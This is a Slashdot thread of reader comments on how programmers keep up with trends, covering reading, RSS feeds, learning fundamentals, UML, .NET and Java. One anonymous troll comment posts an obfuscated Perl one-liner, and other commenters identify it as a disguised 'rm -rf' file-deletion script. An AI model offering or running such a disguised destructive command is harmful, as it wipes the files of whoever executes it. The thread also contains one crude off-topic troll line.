×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

Staying On-Top of Programming Trends?

Cliff posted more than 7 years ago | from the never-obsolete-yourself dept.

191

GhettoPeanut asks: "Trends are constantly changing, upgrading, or become popular due to high end user demand or just basic usefulness. I do my best to keep up with the trends, believing that for the most part they will be better then the current methods in place, or just comfort in knowing that if enough people use it, that there will be allot of help out there. Ultimately though, its keeping up with these trends and trying to figure out what's a fad versus what's actually useful that's the difficult part. What do some of you do to keep up with the trends? Websites? Magazines such as Dr. Dobbs? Forums? I know there's not one solve all, but for the sake of argument, suppose you wanted to stay on the forefront of Java based web development, what would you do?"

cancel ×
This is a preview of your comment

No Comment Title Entered

Anonymous Coward 1 minute ago

No Comment Entered

191 comments

Well... (2, Funny)

packetmon (977047) | more than 7 years ago | (#15545919)

suppose you wanted to stay on the forefront of Java based web development, what would you do? I'd make sure I worked near a Starbucks that never closed while I worked on my Geocities website. Java owns you

Re:Well... (-1, Offtopic)

Anonymous Coward | more than 7 years ago | (#15546153)

i want to get AIDS in my mouth

lol, java (1)

repruhsent (672799) | more than 7 years ago | (#15545928)

Being on the cutting edge of Java development requires a lot of patience - there's nothing like taking two weeks to test your "Hello, World" app because you wrote it using Swing and it takes five days to draw the widget on the screen. Good times.

Re:lol, java (2, Funny)

Anonymous Coward | more than 7 years ago | (#15546339)

LOL! U R TEH FUNNY!!!

1998 called, and they want their troll back.

Why... (0)

Anonymous Coward | more than 7 years ago | (#15545943)

Read Slashdot of course!

Read Slashdot (5, Insightful)

wysiwia (932559) | more than 7 years ago | (#15547020)

Read Slashdot of course!

Yes. Slashdot has quite a reputation for attracting knowledgeable people, yet be aware that some are rather biased towards OpenSource. And don't forget that people who do OpenSource (me including) have a rather absolute opinion. So as long as you are a little sceptic you should be able extract the trends.

As you mention Java you may well notice that currently any Java discussion always tends toward flame wars. Flame wars are always signs that something isn't good, that the there isn't an uphill trend. Flame wars always arises when the future (a trend) isn't going as wished.

I'm probably much biased but IMO the future trend in software development is "cross-platform". So far for many years you could do resonable cross-platform development only with Java. Today you can equally well do cross-plaform development with AJAX or with wyoGuide (binary applications, http://wyoguide.sf.net/ [sf.net]). So regardless which of the different technology takes the lead, cross-platform development will increase to the point where single-platform development won't be accepted.

O. Wyss

Monked (-1, Troll)

Anonymous Coward | more than 7 years ago | (#15545951)

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Re:Monked (1)

skurrier (643587) | more than 7 years ago | (#15545999)

Nasty Evil person. Posting a rm-rf script. Shame on you. Julian Calaby

Re:Monked (0)

Anonymous Coward | more than 7 years ago | (#15546021)

$ su -c 'su nobody' $ nice -n 19 perl -e '$??s:;s:s;;$?::s;;=]=>%-{-|}&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Permission denied errors. :-) But still... Careful people. ;) ~Davus (off topic)

Four things: (5, Informative)

Avillia (871800) | more than 7 years ago | (#15545954)

1. Other programmers I know in various fields. I happen to know quite a few.
2. The plethora of content Sun, Java, MySQL, Microsoft, Oracle, and many other high-profile "framework sponsors" push out on various developer networks, such as MSDN, DevZone, OTN...
3. Whatever the hell O'Reilly is making books about.
4. Seminars and conventions, often made/endorsed/branded by computer publishers such as O'Reilly and aforementioned "framework sponsors".

Re:Four things: (1)

numbski (515011) | more than 7 years ago | (#15548100)

Definitely not slashdot, and definitely not the submitter.

Here's the deal:

"better then current methods..."

Hrrm. The guy is a programmer, right?

Now, would you hire a coder that doesn't know the difference between and "if, then, else" and "greater THAN" "less THAN" "less THAN or equal to"? :D

Sorry, I had to do it. He's making a comparison that he probably does all day coding, and would have failed it.

You fail it man, you fail it. ;)

Ignore them... (4, Insightful)

ResidntGeek (772730) | more than 7 years ago | (#15545971)

This isn't what you asked, but you shouldn't follow trends, you'll just end up with a little knowledge of everything. Just concentrate on C or C++ for *NIX (or something similarly consistent) and you'll eventually be a guru, able to do anything you wish with it.

Re:Ignore them... (3, Interesting)

SeeMyNuts! (955740) | more than 7 years ago | (#15546297)

"Just concentrate on C or C++ for *NIX (or something similarly consistent) and you'll eventually be a guru, able to do anything you wish with it."

See, here's a problem. Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie, but that's what they say. This is where this "Ask Slashdot" is coming from--an idealized mindset leading to severe programming attention deficit disorder.

When I was a programmer full time, I tried to ignore the covers of magazines, knowing that it's just hyped up B.S. However, my co-workers would be drooling over whatever Java database framework was released that week (everyone and their uncle was writing Java frameworks!!!) and end up with some twisted mess of undocumented APIs and un-debuggable problems. It was awful. Couple that with high turnover and whole projects would just get flushed and re-done from scratch (again, done badly...perhaps they found a real money tree and didn't tell us?).

Oh, and trash the UML! Simultaneously with writing terrible software, everyone was on some sort of UML pilgramage to Software Engineer Paradise somewhere. Barf!

I would have been in programmer heaven to just do it all in C and /bin/sh, if only to have a platform that someone on this earth documented and understood without v0.00001 APIs and pretty UML pictures that meant absolutely nothing without minutes of explaining.

Re:Ignore them... (1)

nbehary (140745) | more than 7 years ago | (#15546357)

You say:

"Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie, but that's what they say."

and then:

"I would have been in programmer heaven to just do it all in C and /bin/sh, if only to have a platform that someone on this earth documented and understood without v0.00001 APIs and pretty UML pictures that meant absolutely nothing without minutes of explaining."

Do you not see that those statements kinda contradict each other? I program in JOVIAL, on an IBM 4/PI (360 mainframe if you want to make it simple)......I never finished my CS degree, but I know enough that they are right. C and /bin/sh would be cool, but so is any language. They all have their faults, but in the end it doesn't matter. Real programmers don't care. (and don't eat quiche). The concepts ARE everything.

(I agree with you about UML though...)

Re:Ignore them... (1)

SeeMyNuts! (955740) | more than 7 years ago | (#15546709)

"Do you not see that those statements kinda contradict each other?"

I guess in my mind they don't contradict. My main complaint about the message given by the instructors is that it tends to trivialize the extent of learning a new language. It isn't just syntax and program flow, but standard libraries, other libraries, nuances of the OS, compiler, and other tools, holes in documentation, varying vendor support, etc. There is no way to just jump from one language to another, IMO, and maintain the same level of competence. For example, I would be lost on an IBM mainframe without at least a few months or more of experience learning the ins and outs of the OS, what services it provides for the programming environment, etc. Perhaps the hardest thing is learning how to debug effectively. Most college-level programmers debug exclusively with printf() or equivalent--not particularly useful in many situations.

It took me years to glean all the little tidbits about UNIX that allow me to write efficient shell scripts that use everything from filesystem FIFOs and pipes to sed and awk regular expression hacks to debugging with the OS' utilities and so forth. These things can all also be done in Java, but it takes a little more than a few days to really put it all together.

Re:Ignore them... (1)

(1+-sqrt(5))*(2**-1) (868173) | more than 7 years ago | (#15547040)

Most college-level programmers debug exclusively with printf() or equivalent--not particularly useful in many situations.
Which situations might those be: concurrent programming? It's difficult to think offhand of any situations unmasterable by the venerable printf.

Re:Ignore them... (1)

SillyNickName4me (760022) | more than 7 years ago | (#15547818)

Which situations might those be: concurrent programming? It's difficult to think offhand of any situations unmasterable by the venerable printf.

It really goes well when the output of your program is used as the input of another program...

Re:Ignore them... (1)

Dan Ost (415913) | more than 7 years ago | (#15548847)

And that's why the gods created stderr.

Send stdout to other programs, send stderr to the human/log.

Simple, yet powerful.

Re:Ignore them... (0)

Anonymous Coward | more than 7 years ago | (#15548698)


If there are multiple processes and/or threads, print statements won't tell you which one is using 99% of the CPU or which one is deadlocked or which one is leaking memory or tell you where the stack pointer got misaligned, etc. That is what a debugger and other tracing tools do well.

Re:Ignore them... (1)

Richard Steiner (1585) | more than 7 years ago | (#15548823)

Some systems *only* have printf equivalents available. It's nice to learn that method of debugging because it's the lowest common denominator -- not all environments have IDEs and debuggers available.

I would think printf statements might be problematic when trying to debug timing window issues or certain types of reentrancy errors (where changing the size of the executable or altering/extending code execution paths could impact the problem itself), but those tend to be fairly uncommon situations.

Re:Ignore them... (1)

Richard Steiner (1585) | more than 7 years ago | (#15548779)

The concepts ARE everything.

This is absolutely true, at least for the most part. However, it becomes false when you find yourself out of work; at that point experience with specific languages/platforms/tools and business methods become absolutely critical and general CompSci experience/concepts tend to mean very little (in terms of getting an interview, anyway).

Re:Ignore them... (3, Informative)

mrchaotica (681592) | more than 7 years ago | (#15546427)

Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie, but that's what they say.

Actually, it's not a lie. I'm a CS undergrad at GA Tech, and from classes I have experience in Scheme, Java, C (with UNIX), and Smalltalk. Anyway, I got a job this summer programming in a C++ .NET and ObjectARX [autodesk.com] environment using Visual Studio, even though I had absolutely zero prior experience with any of it.

Long story short, it took me about a week to figure it all out. It was cake.

They're planning to migrate their whole program to C# soon; I figure learning that language will take me about a day and a half.

Re:Ignore them... (0)

Anonymous Coward | more than 7 years ago | (#15546645)

"I'm a CS undergrad at GA Tech"

"Long story short, it took me about a week to figure it all out. It was cake."

Everything is cake when you are an undergrad, and one week's or even one summer's experience with C++ and .NET is just scratching the surface. The C++ specification book (Stroustrup) is a thousand pages and very densly written. .NET is enormous and also takes a year to years to master. The best thing you can do during the summer job is learn from the more experienced people working there (their methods, working with the customer/management, etc.). The programming aspects of the job mainly just bolster the buzzwords on your next resume and provide talking points during interviews.

Re:Ignore them... (3, Insightful)

illuminatedwax (537131) | more than 7 years ago | (#15546759)

The C++ specification book (Stroustrup) is a thousand pages and very densly written.

And contains tons of stuff which is meaningless to memorize. .NET is the same way, too. Who needs to know all of the subclasses and methods of some obscure function? If you know the general concepts of how computers work, you can apply it to anything, leaving the specifics in the manual when you need them. Having the concepts means you know where to look.

"I say now, as I said then, that a man should keep his little brain-attic stocked with all the furniture that he is likely to use, and the rest he can put away in the lumber-room of his library, where he can get it if he wants it. --Sherlock Holmes

Re:Ignore them... (1)

Baddas (243852) | more than 7 years ago | (#15546838)

God, I wish teachers understood that.

I had a database class that the teacher wanted picture perfect examples as homework. In other words, "Write this query, have it print out the output, and hand in a screenshot with your query"

I tried to explain that if it was in the book, then someone already knew how to do it, and therefore my time was being wasted, but unfortunately, that didn't go over so well.

Now, I have no degree, but I do have a fairly decent job NOT reinventing the wheel.

Re:Ignore them... (1)

Fulcrum of Evil (560260) | more than 7 years ago | (#15547041)

I tried to explain that if it was in the book, then someone already knew how to do it, and therefore my time was being wasted, but unfortunately, that didn't go over so well.

It's a class - of course somebody's already done it. Unless you're in a special topics course or dealing with actual research, then it's probably prepackaged. I can't really explain the screenshot nonsense, save to wonder if that's an anti cheating tactic.

Re:Ignore them... (0)

Anonymous Coward | more than 7 years ago | (#15547336)

I can't really explain the screenshot nonsense, save to wonder if that's an anti cheating tactic.

This in a programming class? Please tell me you're kidding or posting drunk or stoned?

Re:Ignore them... (4, Funny)

JohnFluxx (413620) | more than 7 years ago | (#15548011)

Tell me about it. At my school they tried to get me to learn how to add two numbers together! I tried to explain that a calculator can do it, and therefore my time was being wasted in learning, but unfortunately that didn't go over so well.

Now, I have no school education, but I do have a fairly decent job NOT reinventing the wheel.

Re:Ignore them... (1)

Gulthek (12570) | more than 7 years ago | (#15547594)

You know, *AA includes the AAA, and I don't think they've been bringing too many lawsuits against filesharers...
So [RI]|[MP]AA.
Or \w{2}A{2}

Mastering it will take a lot longer (4, Interesting)

grahamsz (150076) | more than 7 years ago | (#15547075)

I figure learning that language will take me about a day and a half.

True, C# isn't a hard language to learn. I find it a little disjointed as I'm primarily a Java guy, but it's simple to understand.

The problem with C#, or indeed Java, is that the API and associated frameworks do so much for you, but take a long time to master. Some of my early Java code is needlessly verbose because i simply didn't know that the API made certain functionality available. Now that i'm competant in a small number of frameworks and have better learned the development tools, i find i can work a lot faster.

It doesn't take long before you become so used to the framework that programming in C or asm seems like reinventing the wheel.

Re:Mastering it will take a lot longer (1)

DahGhostfacedFiddlah (470393) | more than 7 years ago | (#15548476)

I learned Java in school, and am starting a new project on it. Just a quick look at the docs tells me that it really does provide everything to everyone.

So I've found it's better to spend 2 hours just searching the web exhaustively than try to write anything I'm not *absolutely sure* is unique to my project.

Re:Ignore them... (1)

mcpkaaos (449561) | more than 7 years ago | (#15546616)

and pretty UML pictures that meant absolutely nothing without minutes of explaining.


Had you taken the time to learn UML you could have just read them.

Re:Ignore them... (0)

Anonymous Coward | more than 7 years ago | (#15546738)

"Had you taken the time to learn UML you could have just read them."

LOL, UML is like C++ for diagramming.

Re:Ignore them... (1)

mcpkaaos (449561) | more than 7 years ago | (#15546983)

UML is like C++ for diagramming.


That is a problem to a programmer? In any case, UML is hardly that complicated. All it takes to obtain a basic understanding of class diagrams, for example, is a couple of hours reading "UML Distilled" or various sources freely available via Google. Having a simple (yes, simple), graphical way to explain objects and relationships is well worth the investment. It's like design patterns. Sure, you don't need to know them, but it sure makes things a lot simpler when you do.

Re:Ignore them... (1)

LukeRazor (960201) | more than 7 years ago | (#15546874)

Nothing helps me more when I'm analysing a complex business workflow than a UML Sequence diagram.

Not Sure about object lifetimes? Draw yourself an UML Activity Diagram it will all become clear.

And god [wikipedia.org] knows I'm glad I drew up the UML Sequence diagrams and Class diagrams after the last product release when I get asked to update it 6 months later. A picture is worth a thousand words of spec and analysis.

(Use cases "diagrams" are a waste of time though)

Re:Ignore them... (1)

Doctor Memory (6336) | more than 7 years ago | (#15548624)

Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie


Nope. I never finished college (got "hired out" my junior year), but I took all the fundamental CS courses (data structures, language design and implementation, discrete math) and I haven't had a problem picking up a new language or paradigm in the last twenty years. I went from C/Unix to 4GL/Unix to C/VMS to 4GL (a different one)/VMS to assembler(6809 & PDP-11)/bare metal+RT-11 to YA4GL/Windows to VB/Windows to Java/Windows to Java/Unix. Now I work for a company that has to integrate with lots of different systems (PeopleSoft, Java, .NET, RPG-III using Oracle/DB2/SQL Server/Sybase/Informix), writing interfaces between their systems and ours (which is based on Lotus Domino).

In response to the original question, you should be able to find a "support group" of some sort out on the internet. See if there's a Usenet newsgroup or a Yahoo discussion group for your target technology. Lots of times vendors will have forums on their websites to discuss their technology (great if you want to keep up with Oracle or Java). Sourceforge will also have discussion groups for projects, and you can often find pointers in those threads to larger forums. There may also be a portal site (like TheServerSide.com for Java) that aggregates press releases and book/article reviews. The real problem I have isn't finding the information, it's finding the time to read and evaluate it all. My computer at home is like a cyber-garage: half-finished projects shoved into every available corner, tech examples and prototypes hanging from the rafters, random tools jumbled all over...

Short answer: get busy. Keeping current can be a full-time job in and of itself if you want.

Mono? (4, Informative)

headkase (533448) | more than 7 years ago | (#15546035)

I would suggest Mono as an important project. As Microsoft designed it, .net's common language runtime can be targeted from practically any language. .net is equivalent to a standard virtual machine that provides a standard environment (duh). By allowing code to leverage other code and perform this work independent of any particular programming languages they've created a large developer base that can easily be ported to Linux via Mono.
8^p

Re:Mono? (1)

Unoti (731964) | more than 7 years ago | (#15546107)

I totally agree. There's an unavoidable flamewar about to start here, but the .Net framework is fantastic. In my world, it's misguided to even want to be the best Java developer instead of the best .NET developer. Today and for the foreseable future, you'll be able to get more top quality work with .NET than with Java.

And aside from the evil overtones, it's a fantastic language. Come to the dark side.

----

Besides, Darth Vader can kill people across the galaxies on a viewscreen with a motion of his hand. What does Obie Wan get? He's a blue glowie, and he can whisper "use the force." Big deal.

Re:Mono? (0)

Anonymous Coward | more than 7 years ago | (#15546601)

Are you kidding?

Pigeon holing yourself is stupid.
Java and C# are almost identical in syntax. Get a good grasp of both camps and at least a working knowledge of the popular APIs for both.
The only reason to concentrate solely on .NET is because you're incapable of writing code outside of pointing and clicking your way through visual studio.

Re:Mono? (1, Interesting)

Anonymous Coward | more than 7 years ago | (#15546989)

> Java and C# are almost identical in syntax.

Thats not true. Saying that the Java syntax is a subset of the C# syntax would be more like it. I, for one, have developed in Java for an extended period of time (until the end of last year), after which I switched to a new job where I was confronted with C#. I thoroughly enjoy developing in C#, last but not least due to syntactic features (also called syntactic sugar by some), for example delegates, operator overloading (we use it for matrix/vector operations) and events (which are a tedious to write in Java, but part of the language in C#). Also, I have to say that the developed application (we're developing GUI applications) just 'feels' better that any Java application I ever wrote (it's a lot snappier than Swing).

Read and Succeed (5, Insightful)

Unoti (731964) | more than 7 years ago | (#15546054)

Two key thoughts to share: Read, Succeed.

Read

First, you need to read a lot. Dr Dobbs, MSDN, developer blogs, books. To separate fad from rad, I recommend you use your own common sense.

For example, a few years back I worked hard to learn and understand the Unified Process. There were a lot of great ideas in there, but I felt it was too heavyweight and over the top for what I was doing. But I did feel it had brilliant ideas and revolutionary concepts. So I took what I thought were the most practical ideas and used them. The most important ideas I took were things like 1) throwing out the waterfall approach and developing iteratively, testing and "releasing" after each iteration, 2) identifying the biggest show-stopper risks up front and doing research to make them not so scary, 3) getting the customer/end user involved up front and through the whole process. A lot of people might shoot me for saying this, but it turns out that the Unified Process was pretty much a fad, and those key concepts turn out to be the foundation for "Agile Development" and "Extreme Programming."

The point is, read and study anything that interests you, and decide for yourself what's useful.

Succeed

Second, you need to do stuff to get success stories you can tell when you're interviewing or selling yourself to your current employer. A lot of book knowledge doesn't do diddley if you don't put things in the done basket. Ever see people at work with dozens of spiffy certifications that can't code their way out of a paper bag? Don't be like that. Do lots of stuff and do it successfully.

I recommend you work on anything you have some passion for, even if it's not directly work related. For example, I did a lot of 3D programming when I was working as an Oracle PL/SQL developer. Totally unrelated to work. But I honed my OO skills, learned OpenGL and DirectX, learned a lot about 3D math. Although it took a while to pay off, all of it did eventually pay off. Knowledge of C++ helped me answer tricky STL interview questions, and I later got a job with a company that makes interactive 3D training software for jet mechanics-- way cooler than Oracle. And even though this wasn't work-related, I was able to include that work in my list of success stories I could tell potential employers and other people making decisions about me.

So do whatever you have a passion for, and do it successfully and to completion.

Re:Read and Succeed (1, Insightful)

Anonymous Coward | more than 7 years ago | (#15546366)

Hmmm...I guess people need to ask themselves if the are in love with this programming stuff or just doing it for a paycheck. Reading everything on the earth plus having programming hobbies in addition to work isn't practical for most people, especially if they have any interests outside of computers. I've found that living in a cubicle at work and living in a darkened computer room at home is absolutely and utterly depressing. I'm actually quitting the computer-biz entirely and getting a job where I work outside. Mmmmm...sunshine.

Re:Read and Succeed (1)

LDoggg_ (659725) | more than 7 years ago | (#15546638)

Hmmm...I guess people need to ask themselves if the are in love with this programming stuff or just doing it for a paycheck.

Absolutely.
I've met plenty of both types of people. Its clear which people love to code and which people just consider it a job. When you love to code, you make time for reading programming books, having pet open source projects, getting into silly programming conversations on slashdot...

My advice is that if you don't love programming, find a different occupation.

Re:Read and Succeed (1)

myatmpinis1234 (697897) | more than 7 years ago | (#15548934)

I don't love programming, but I'm still trying to find another job that a) I'm good at, b) pays a crapload, and c) doesn't matter that I have terrible people skills.

Re:Read and Succeed (1)

Dan Ost (415913) | more than 7 years ago | (#15548899)

If it's something that I would read anyway, I do it on my own time. If it's something that
I would have no interest in except that I need to know it to complete whatever project I'm
working on, I read on my employer's time.

Re:Read and Succeed (1)

Fulcrum of Evil (560260) | more than 7 years ago | (#15547036)

But I did feel it had brilliant ideas and revolutionary concepts.

Those aren't revolutionary - they're basic project management and some real world development mixed together. Nobody uses waterfall. Identifying risks is a basic part of requirements analysis, and talking to customers (and identifying them at all) is necessary so you have a chance at success. Who cares if your code works if nobody wants it.

Re:Read and Succeed (1)

uradu (10768) | more than 7 years ago | (#15548085)

> A lot of people might shoot me for saying this, but it turns out that the Unified Process was pretty much a fad

Really, they will shoot you? Who exactly? Dig through Usenet posts of the last ten years and you will find mountains of complaints and cursing over UML and Rational in particular. This is a classic example of something developed by people with a serious disconnect from the Real World. It's a little like those beautiful example programs for OOP in college, where everything gels together wonderfully and anything that doesn't fit the paradigm nicely is conveniently not mentioned.

Re:Read and Succeed (1)

Dan Ost (415913) | more than 7 years ago | (#15548922)

Sequence diagrams are useful for showing things to non-coders.

That's the only thing that I can think of from UML that has value
(and I'm pretty sure I saw sequence diagrams before UML was
created).

Pick a language (2, Informative)

wildman6801 (763038) | more than 7 years ago | (#15546055)

Pick a language and learn it to your best: I would suggest a language like Java or C, C++. The more you learn about your langauge that you choose the better you will get at it and the more you will be in the trend. I started learning C++ back in college and I use it. I learned it very well and I keep up to date with it changes.

Re:Pick a language (1, Insightful)

XaXXon (202882) | more than 7 years ago | (#15547289)

Take what this person said and do the exact opposite.

If you only have a hammer, everything starts looking like a nail.

That's the sign of a bad programmer.

Who moderated the parent insightful?!?

Immerse yourself in RSS feeds (3, Insightful)

smug_lisp_weenie (824771) | more than 7 years ago | (#15546063)

Set up an RSS reader like reader.google.com or bloglines.com, then find a bunch of RSS feeds that cover that domain in some fashion. For Java, for instance, you can find some feeds here [java.net].

The key is that that it's really quantity and regularity that's most important- If you spend a little time each day immersing yourself in the terminology you'll start to get a feeling of who has the most credible opinions in that field and what those persons are excited about (so eventually you'll have quality covered as well).

There's a good chance that this will, of time, allow you to spot patterns and predict technology trends.

Trends? Um, no... (3, Informative)

StarWynd (751816) | more than 7 years ago | (#15546083)

Your focus shouldn't be on tracking and staying on top of all the trends. It should be about finding ways to be more efficient and more productive with what you're already doing. Occasionally, I will accidentally run across a cool new tool or framework that's useful, but most of the time I have to go looking for it myself. If you find yourself saying "Surely there's a better way," someone else has probably said the same thing. And while you could scan books or search online for the answer, talking to someone else who has experienced the same thing is probably your best bet. Get involved with a local user's group for whatever language you're developing in. Ask questions, show up at the meetings and contribute back to the group. It's still good to track new trends, but this should be secondary. Just subscribe to a tech magazine or two or maybe watch some of the RSS feeds from sites that pertain to your work, but your best resource is the rest of the community.

Slashdot (3, Informative)

Alric (58756) | more than 7 years ago | (#15546100)

Honestly, being a regular on slashdot will keep you pretty current on the latest fads in the industry. For a specific technology, I recommend finding a few experts or "thought leaders" in that field who have blogs and reading whatever they're reading.

Also, as others will say ad infinitum, focusing on the basics is much more important than trying new fads or styles.

Re:Slashdot (2, Funny)

Bjarke Roune (107212) | more than 7 years ago | (#15547246)

> Honestly, being a regular on slashdot will keep you pretty current on
> the latest fads in the industry.
>
Yeah, especially if they have something to do with Google.

Don't limit yourself to Java (4, Insightful)

Anml4ixoye (264762) | more than 7 years ago | (#15546132)

The best advice I have heard was from I believe Martin Fowler who said to learn a new language every 6 months. So, instead of learning the differences between JSF and Struts, pick up a Rails book, or Python, or Boo, or Lua. (Except if part of your job is figuring out the differences between JSF and Struts)

Several of my coworkers attended JavaOne, and while I would have liked to have gone, I'm much happier going to Agile 2006 where I will get exposed to a wider variety of things going on. For example, if you haven't tried Rails, it is a great way of seeing how using sensible defaults can get something up and running quickly, and how extension can keep it maintainable as it grows.

Same thing with ASP.NET. The event model for web pages is really great, and I've built some neat apps in ASP.NET which let me use some of the cleanest MVP seperation possible.

So, if you want to know more about Java, pick up some other languages. You'll find yourself wanting to do even more.

Re:Don't limit yourself to Java (0)

Anonymous Coward | more than 7 years ago | (#15546338)


Whatever you do, don't take this mindset into developing production software that anyone cares about!!!!! If your work will have any effect on any one else, use a consistent language and platform that are several years mature (preferably many years), well documented, supported, and updated regularly and consistently. Simply put aside the desires to have some whiz-bang awesome bookshelf and just focus on meeting the users'/customers' requirements!

Re:Don't limit yourself to Java (1)

bahwi (43111) | more than 7 years ago | (#15546497)

Agreed. Learning rails was the best thing I could have every done for my PHP skills. I think my current tools are out of shape, and looks for better equivalents, and find them.

It's not about the language any more (1)

Animats (122034) | more than 7 years ago | (#15546532)

As Joel points out in "Joel on Software", the language isn't the big issue any more. It's the libraries. Learning another set of a few thousand things you can call, where a measureable fraction of them are broken or don't meet their specifications, requires time and practice.

And it's so unrewarding, because you're expected to work around the flaws in the libraries. I miss aerospace, where, when a vendor doesn;t meet specification, the contracts people pound on the vendor until it's fixed.

Re:Don't limit yourself to Java (1)

ooze (307871) | more than 7 years ago | (#15547095)

Right. Learning, ant at least fiddling around with a lot of different languages is the most best way to learn programming. With that you do several things:

- you get to know a lot of different programming paradims, ways of solving problems, that would be completely lost to you, if you stick to just one language. The least it does is to give you an understanding, when someone tries to explicitely implement one of those paradigms in a language that isn't meant for it (because the problem requires it). Tremendously helps understandaning code and actually desinging solutions.
- you get a feel for what language implements wich concept elegantly and which doesn't. Fact is, often people just don't use powerful features of a language, because it is implemented awkwardly. If you get to use this feature in another language, where it is solved elegantly, you might find yourself learnign it better, and then using it more often, when it is appropriate. For example, people who have done some Lisp completely lose their trouble with recursion. I too often find people who only basically learned C(++) and java and all this often don't even think of it ... despite the language allowing it. And it is so often the most elegant and shortest solution. Same for Reflection. People who just use Java and .Net often shy away from it (since it is awkward), and instead prefer to maintain long tables and constant definitions. But if you have used reflection a little (and it is easier in Lisp or Smalltalk), the you know from experience how much typing and maintenance it can save you, and you still use it, despite the implementation being a little awkward. OR people from the widows world often shay away from regular expressions. But people with some unix and perl experience often use them for what they are meant to, despite first having to import some external library in C++ and having to explicitely create objects and all this.
- you learn to derive knowledge from language similarities. Just as with natural languages, Learning you first foraign language is the hardest, the more you actually know, the easier it becomes to learn new one, due to all those similarities. And with each new language you learn new ways of expressions and concepts, that tremendously help you expressing yourself in the languages you already know.

learn fundamentals (4, Interesting)

Anonymous Coward | more than 7 years ago | (#15546144)

Learn general fundamental stuff first.

Like: LISP, the relational model, etc.

Then after a while you'll notice that most everything is a subset of something that's already been invented, but with a different name, or a different syntax, or a different "marketing angle".

Ruby? Python? Different subsets of Lisp with more interesting syntax.

Ajax? A more complicated way of doing client/server communication.

SQL databases? Kinda like a relational database, but simpler.

Object databases? Take the relational model and add a large number of constraints, tada, there's an OO database.

FreeBSD vs. Linux? Mostly the same.

You might also become quite bitter and annoyed with the IT industry after a few years.. try not to take it out on others. :-)

But seriously, concentrate more on what make things ALIKE. Vendors and people who haven't been in the IT industry very long will try and convince you that what they have is revolutionary and exciting, etc. They'll try and ridicule your "old-fashioned" view of whatever it is. Just smile politely and try and apply your existing knowledge with the syntax or the pretty face of "their" technology.

Re:learn fundamentals (0)

Anonymous Coward | more than 7 years ago | (#15546560)

>>SQL databases? Kinda like a relational database, but simpler.

Huh?
SQL stands for structured query language. Its the standard way to read and write data to and from a database.
A relational database means that you can relate tables to eachother through the use of foreign keys. Relational databases typically allow for SQL queries and updates.

I don't mean to flame, but if you don't have a grasp on a simple concept like that, you probably shouldn't be giving out programming advice.

Re:learn fundamentals EX: realational database (0)

Anonymous Coward | more than 7 years ago | (#15546823)

relational database: http://en.wikipedia.org/wiki/Relational_database [wikipedia.org]

"A relational database is a database structured in accordance with the relational model. Strictly speaking the term refers to a specific collection of data but it is invariably employed together with the software used to manage that collection of data. That software is more correctly called a relational database management system (RDBMS). Relational database management systems incorporate many features from the relational model, but commercial RDBMSs also tend to diverge from the relational model in significant ways."

SQL like an abstract RDBMS. It's focused on geting things done vs set thery and it "diverge from the relational model in significant ways".

Re:learn fundamentals EX: realational database (0)

Anonymous Coward | more than 7 years ago | (#15548962)

>>SQL like an abstract RDBMS.

No. It's not. Why is this so hard for you to understand?

Is HTTP like a webserver?

Ignore it. (4, Insightful)

jlarocco (851450) | more than 7 years ago | (#15546191)

I know there's not one solve all, but for the sake of argument, suppose you wanted to stay on the forefront of Java based web development, what would you do?"

Shoot myself.

More seriously, trying to stay up to date on every new trend is pointless. You're better off picking a few things and learning them well.

Re:Ignore it. (3, Interesting)

MobileTatsu-NJG (946591) | more than 7 years ago | (#15546420)

"More seriously, trying to stay up to date on every new trend is pointless. You're better off picking a few things and learning them well."

Seconded. When I was in high school I took whatever programming classes I could get into. I started with Basic and moved on to Pascal. That gave me some good fundamentals to work with. When I entered the work-force, I found myself scripting quite a bit for Lightwave. (For the uninitiated: Lightwave is a 3D program commonly used in television effects.) Recently we've been using Maya a lot more. I was able to shift over and start writing scripts for it. Why? Lightwave scripting gave me the experience I needed to know what I'm looking for, so when it came time to use another language, I had what I needed to get going fairly quickly. This has even spilled over into writing a little bit of PHP code and so on.

I took the scenic route here, but yeah, develop a solid skill, and when you need to move into another language it'll go pretty smoothly. I was involved in the process of hiring engineers and we had a number of applicants who were dabblers. "I know OpenGL!" "Great! What have you done with it?" "I made a box rotate on the screen! (It was really hard!)" "Okay, so what's your expertise?" "..." We didn't feel comfortable hiring those people because we had no idea where they would have been best suited. Jack of all trades, master of none, yadda yadda yadda.

Be good at what will always be needed. (4, Insightful)

triskaidekaphile (252815) | more than 7 years ago | (#15546202)

I know Java very well, but my true strength is in design. It doesn't matter what languages come and go, those skills will always be useful.

Learn good communication skills [toastmasters.org] so others will think you are competent. Even if you aren't.

Learn persuasion skills so you get good compensation.

Prepare side interests that you can ramp up into money-making ventures in a few months. If your company folds, you get laid off, or you decide to retire (or just plain quit) and the job market sucks, you at least have an avenue to pursue.

Re:Be good at what will always be needed. (2, Insightful)

Atario (673917) | more than 7 years ago | (#15546729)

Learn good communication skills so others will think you are competent. Even if you aren't.
And, remember, writing is communication. In fact, it's a form of communication that lingers on long after you've forgotten about it, making you look smart or stupid, as the case may be, the whole time.

My point here, of course, is that the submitter's summary is chock-full of screwups.

GhettoPeanut, please: the language you should be working on is not Java or Ruby or SuperDuperCPlusPlusPlus. It's English.

A blend of sites. (2, Insightful)

shoolz (752000) | more than 7 years ago | (#15546209)

I don't think what you're looking for exists!

I find that I generally have a good idea what's going on by frequenting /. and many other geekly news-aggrigator sites. I keep my ear to the ground and keep track mentally of how often new programming/tech buzzwords get kicked around. I investigate every technology on a high-level, and when I see a new trend emerging that seems to offer a solution that nothing else has so far, get involved on a granular level. I make my own decisions based on what information I can gather.

